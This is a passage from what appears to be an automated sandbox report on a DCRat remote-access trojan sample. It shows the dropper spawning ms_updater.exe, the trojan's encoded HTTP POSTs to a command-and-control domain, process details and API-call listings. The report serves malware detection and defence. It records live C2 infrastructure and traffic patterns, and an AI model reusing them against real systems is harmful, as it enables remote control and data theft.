Jul 3, 2024 15:52:08.592216015 CEST	1536	OUT	Data Raw: 5b 52 58 5f 58 5b 50 55 5c 5f 55 57 57 5b 50 5a 57 5c 5f 44 59 5b 50 47 58 5e 5c 58 52 5e 55 57 5a 45 53 58 56 5d 56 57 5d 55 52 5e 5f 5a 55 53 50 53 59 5f 58 5a 50 5a 56 5f 53 59 59 59 5f 5a 5b 5c 58 5a 55 58 59 5d 58 5d 5c 5b 59 52 58 57 50 5c Data Ascii: [RX_X[PU\_UWW[PZW\_DY[PGX^\XR^UWZESXV]VW]UR^_ZUSPSY_XZPZV_SYYY_Z[\XZUXY]X]\[YRXWP\PRRXZXVURVYTWPYVZ_]X^T_Z]]^YF_X]UT\YV\XS][_YD^ZRVRW^XZG^XTVZ\WP\_]Q^_[[__Q_][V[QX__Y\WWGZQ_[T\]WY\^YZ\-$ ']&]7T%'B=%$")8_<$12*+2 W2X<#70;8"Y.$[,
Jul 3, 2024 15:52:08.710963011 CEST	25	IN	HTTP/1.1 100 Continue
Jul 3, 2024 15:52:09.081466913 CEST	756	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 13:52:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Al%2FYMVMYrMnM4AmmWOz6X6dCTvGRC17qRuwrxgNchYRSRx71E9McycuMMLZR8HDo9gUzEU%2FVVD1z%2B%2BmyVDcrHaUCAum28UyTW%2F%2Fu%2BuveEUEzeUlDD0gN3qXRU4w9mRi2pV5qSDKryZF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d75ab62e0b6a5e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 39 38 0d 0a 0d 1f 22 5d 37 02 35 0e 22 2b 2c 0b 2a 2b 35 01 29 16 0f 0a 27 11 36 0b 24 3c 3e 59 2c 3c 2b 51 30 1a 23 06 2b 12 07 1a 31 20 06 56 27 38 2a 51 03 1b 23 18 31 3b 3a 1e 2a 3e 37 02 30 28 21 5d 31 5b 38 07 2b 39 27 59 20 2b 29 07 33 33 2b 57 28 5f 32 1f 2f 07 01 01 3a 32 2d 1f 35 34 2d 54 0f 1f 23 05 24 2f 0e 1c 35 0e 3a 5b 26 3e 39 13 34 2a 30 0f 20 39 34 59 26 3f 23 5e 27 28 23 59 33 22 2c 59 2b 32 24 04 2b 2c 27 52 3f 01 26 50 2f 01 23 52 01 34 5c 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 98"]75"+,+5)'6$<>Y,<+Q0#+1 V'8Q#1;:>70(!]1[8+9'Y +)33+W(_2/:2-54-T#$/5:[&>940 94Y&?#^'(#Y3",Y+2$+,'R?&P/#R4\W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.90.190	80	6768	C:\Users\user\AppData\Roaming\ms_updater.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 15:52:08.245197058 CEST	349	OUT	POST /protecttrackDatalifePrivateCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 118621cm.n9shteam2.top Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jul 3, 2024 15:52:08.592111111 CEST	1056	OUT	Data Raw: 5b 55 5d 5f 58 5a 50 5c 5c 5f 55 57 57 5e 50 51 57 5a 5f 48 59 52 50 48 58 5e 5c 58 52 5e 55 57 5a 45 53 58 56 5d 56 57 5d 55 52 5e 5f 5a 55 53 50 53 59 5f 58 5a 50 5a 56 5f 53 59 59 59 5f 5a 5b 5c 58 5a 55 58 59 5d 58 5d 5c 5b 59 52 58 57 50 5c Data Ascii: [U]_XZP\\_UWW^PQWZ_HYRPHX^\XR^UWZESXV]VW]UR^_ZUSPSY_XZPZV_SYYY_Z[\XZUXY]X]\[YRXWP\PRRXZXVURVYTWPYVZ_]X^T_Z]]^YF_X]UT\YV\XS][_YD^ZRVRW^XZG^XTVZ\WP\_]Q^_[[__Q_][V[QX__Y\WWGZQ_[T\]WY\^YZ\.]%0#2;'$$$C+5?^"*<)$=&:8+2'$=/5<,8"Y.$[,
Jul 3, 2024 15:52:08.691548109 CEST	25	IN	HTTP/1.1 100 Continue
Jul 3, 2024 15:52:09.044270039 CEST	595	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 13:52:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ge%2BWcAS4H6gUWumqy0O6H50dJHFXONdZBawvZmio0NhQw4ZSB6pvf3f4JCWW6drZV7Rs66P50HSG8Yl7wrOuzz6CMshL9ItubWn2nBmBw7pw2SM8OSbXWLvSFJZhi2ZdG1lfcg5MLIJE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d75ab608881a28-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 34 0d 0a 3f 57 5b 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 4?W[Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	104.21.90.190	80	6768	C:\Users\user\AppData\Roaming\ms_updater.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 15:52:08.983047962 CEST	327	OUT	POST /protecttrackDatalifePrivateCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 118621cm.n9shteam2.top Content-Length: 184204 Expect: 100-continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	104.21.90.190	80	6768	C:\Users\user\AppData\Roaming\ms_updater.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 15:52:09.197371960 CEST	325	OUT	POST /protecttrackDatalifePrivateCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 118621cm.n9shteam2.top Content-Length: 1056 Expect: 100-continue

Target ID:	0
Start time:	09:52:02
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\1hibLFnCm1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\1hibLFnCm1.exe"
Imagebase:	0xf50000
File size:	906'240 bytes
MD5 hash:	2196EDD4AD9D7E8CA345339A66E2FED5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:52:03
Start date:	03/07/2024
Path:	C:\Users\user\AppData\Roaming\ms_tool.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\ms_tool.exe"
Imagebase:	0x7ff68c5e0000
File size:	18'944 bytes
MD5 hash:	F3EDFF85DE5FD002692D54A04BCB1C09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:52:03
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:52:03
Start date:	03/07/2024
Path:	C:\Users\user\AppData\Roaming\ms_updater.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\ms_updater.exe"
Imagebase:	0xd90000
File size:	640'512 bytes
MD5 hash:	CEAC3DE237F6B1DC4B279D8E5F5B3689
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000003.00000000.1699967680.0000000000D92000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000003.00000002.1759262008.000000000314B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000003.00000002.1759262008.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Roaming\ms_updater.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:52:08
Start date:	03/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jClCs9nEU3.bat"
Imagebase:	0x7ff78c3f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:52:08
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:52:09
Start date:	03/07/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff696430000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:52:09
Start date:	03/07/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff65dea0000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	86

Executed Functions

Function 00F53860 Relevance: 17.7, APIs: 3, Strings: 6, Instructions: 1961libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(shell32.dll), ref: 00F54CBA
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00F54F44
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00F54F62

Strings

open, xrefs: 00F54F3D, 00F54F5B
!, xrefs: 00F54CE4
\ms_tool.exe, xrefs: 00F54DCA
shell32.dll, xrefs: 00F54CB5
%x and %p, xrefs: 00F54B32
\ms_updater.exe, xrefs: 00F54E9A

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ExecuteShell$LibraryLoad
String ID: !$%x and %p$\ms_tool.exe$\ms_updater.exe$open$shell32.dll
API String ID: 1367575721-2575606789
Opcode ID: 11f94cd4dd20f2f6b8902ac010856ce33058d341da303a7fcf4c14f4dd5f5c5a
Instruction ID: 64120a538ef869beb5213b304cb3abb7c263a51e300583150d48b81a32e56ed9
Opcode Fuzzy Hash: 11f94cd4dd20f2f6b8902ac010856ce33058d341da303a7fcf4c14f4dd5f5c5a
Instruction Fuzzy Hash: E6B20527A30A1A07E30CA5388C523E6B68AEBD6731F454336FE66D73F4D3694846D740

Function 00F73C4C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F73905: CreateFileW.KERNELBASE(?,00000000,?,00F73CF5,?,?,00000000,?,00F73CF5,?,0000000C), ref: 00F73922

GetLastError.KERNEL32 ref: 00F73D60
__dosmaperr.LIBCMT ref: 00F73D67
GetFileType.KERNELBASE(00000000), ref: 00F73D73
GetLastError.KERNEL32 ref: 00F73D7D
__dosmaperr.LIBCMT ref: 00F73D86
CloseHandle.KERNEL32(00000000), ref: 00F73DA6
CloseHandle.KERNEL32(00F68017), ref: 00F73EF3
GetLastError.KERNEL32 ref: 00F73F25
__dosmaperr.LIBCMT ref: 00F73F2C

Strings

H, xrefs: 00F73EB1

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 61c5c325619ca7ef94f9af2cbf7f61285afa5f7ed742c7353118483ebcc21b8c
Instruction ID: d6b3c81c1054d9f29fafa14513f8f449405aff7fe4976f1f3dd9d2c8947a5d28
Opcode Fuzzy Hash: 61c5c325619ca7ef94f9af2cbf7f61285afa5f7ed742c7353118483ebcc21b8c
Instruction Fuzzy Hash: 00A14932E14158AFCF199F68DC51BAD3BB1AB06320F14415EF8159B3A1C7349E12FB92

Function 00F54C70 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 262
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(shell32.dll), ref: 00F54CBA
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00F54F44
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00F54F62

Strings

open, xrefs: 00F54F3D, 00F54F5B
!, xrefs: 00F54CE4
\ms_tool.exe, xrefs: 00F54DCA
shell32.dll, xrefs: 00F54CB5
\ms_updater.exe, xrefs: 00F54E9A

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ExecuteShell$LibraryLoad
String ID: !$\ms_tool.exe$\ms_updater.exe$open$shell32.dll
API String ID: 1367575721-3118137208
Opcode ID: 023fe09e9da69b28d441d089bf35c28ba98085476ffba42cb78551b4f0b13580
Instruction ID: b676dd6d55a7f818f25218f15afc3f8b07588f2cf802b5d017a41af7bc214b67
Opcode Fuzzy Hash: 023fe09e9da69b28d441d089bf35c28ba98085476ffba42cb78551b4f0b13580
Instruction Fuzzy Hash: F7A1F1706083409BE724DF28CC46F6AB7E4BF85705F144A1CFA858B291E7B4E949DB92

Function 00F65219 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00F65213,00000016,00F5FC1C,?,?,8C9F690D,00F5FC1C,?), ref: 00F6522A
TerminateProcess.KERNEL32(00000000,?,00F65213,00000016,00F5FC1C,?,?,8C9F690D,00F5FC1C,?), ref: 00F65231
ExitProcess.KERNEL32 ref: 00F65243

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 68ed4075f42d5afa7a991797561f34cdee828c64cf4b41fc5d9b505453ade4ac
Instruction ID: 4485f6a05932abea852745063a71b6860f7872cefb566e97ee72ee52a5f618ac
Opcode Fuzzy Hash: 68ed4075f42d5afa7a991797561f34cdee828c64cf4b41fc5d9b505453ade4ac
Instruction Fuzzy Hash: 66D09E32000508AFCF012FA0DC1D95D3F25EF90791F454460B91E59031DB799995BB42

Function 00F6AE55 Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F6A568: GetConsoleOutputCP.KERNEL32(8C9F690D,00000000,00000000,00F5FC3C), ref: 00F6A5CB

WriteFile.KERNELBASE(FFBF67E8,00000000,?,00F5FAF9,00000000,00000000,00000000,00000000,?,?,00F5FAF9,?,?,00F87CB8,00000010,00F5FC3C), ref: 00F6AFBE
GetLastError.KERNEL32(?,00F5FAF9,?,?,00F87CB8,00000010,00F5FC3C,?,?,00000000,?), ref: 00F6AFC8

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 1a0bb558516d3cc5ef9718892cb14ec4fa611647e2d6a37b58dc5cf97d5e42ab
Instruction ID: 3c0c000fcba3a3dbb1198f1cd1a88679aa8966f0e3b4b7f84370d8f20bfa1d14
Opcode Fuzzy Hash: 1a0bb558516d3cc5ef9718892cb14ec4fa611647e2d6a37b58dc5cf97d5e42ab
Instruction Fuzzy Hash: 3661AFB2D04149AEDF11CFA8C884AEEBFB9AF19314F144185E814B7252D376D941EFA2

Function 00F68E03 Relevance: 3.1, APIs: 2, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,CF830579,?,00F68CEA,00000000,CF830579,00F88088,0000000C,00F68DA6,00F5FB8F,?), ref: 00F68E59
GetLastError.KERNEL32(?,00F68CEA,00000000,CF830579,00F88088,0000000C,00F68DA6,00F5FB8F,?), ref: 00F68E63

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: f62e9140e18f4311821d32a837103f848c823fad21585a0011250af1553559a6
Instruction ID: ea4117d2dcb5329f44d17fc31eb525c71693eacf723ab7b1ad6e7350fd4e6ff1
Opcode Fuzzy Hash: f62e9140e18f4311821d32a837103f848c823fad21585a0011250af1553559a6
Instruction Fuzzy Hash: 7211AF33E052186AD62022B09C5577E37554FD27B4F25070DFA08872D3DF768C827292

Function 00F55050 Relevance: 3.0, APIs: 2, Instructions: 22
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,00F54C70,00000000,00000000,8C9F690D), ref: 00F55076
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,000000B0,?,?,?), ref: 00F5507F

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: 4697811367ba5b7aa1826d9d20f7774c040fe3b2bb4c16ebb3bddf06406ebe05
Instruction ID: 6a0d2be247f4e7aea5e1a95af76a0572e74fd0b82741801e7e4dca73e6e392a8
Opcode Fuzzy Hash: 4697811367ba5b7aa1826d9d20f7774c040fe3b2bb4c16ebb3bddf06406ebe05
Instruction Fuzzy Hash: CBE086706483006BD710AF34EC0BF2E37E4BB48B12F610A18F699962D0E674B458A757

Function 00F67FD8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 00F68012

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: a2b1053ad2fd5c2eee0689d522216b0ccb0bbf11938d58076b7bbafc88d5e47f
Instruction ID: 9aaebffbcb6ac793e98012c5fd5c02070bcf1ca56bbe1d74899b180915916844
Opcode Fuzzy Hash: a2b1053ad2fd5c2eee0689d522216b0ccb0bbf11938d58076b7bbafc88d5e47f
Instruction Fuzzy Hash: 1C115771A0420AAFCF05DF58E94199B7BF4EF48304F008469F808EB351D630EA15DB65

Function 00F6817A Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,0000000C,?,?,00F6937F,00000001,00000364,?,00000005,000000FF,?,?,00F61F49,00F6950F), ref: 00F681BB

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2c85f6a5c218675a6b8526855494a9bfd2f92bba50d219a1f9182cf1bcc39230
Instruction ID: 5f5ff953bcf44b2f2c873c17577b8612a2b7cd5610b66f7e6a79f2231a86b362
Opcode Fuzzy Hash: 2c85f6a5c218675a6b8526855494a9bfd2f92bba50d219a1f9182cf1bcc39230
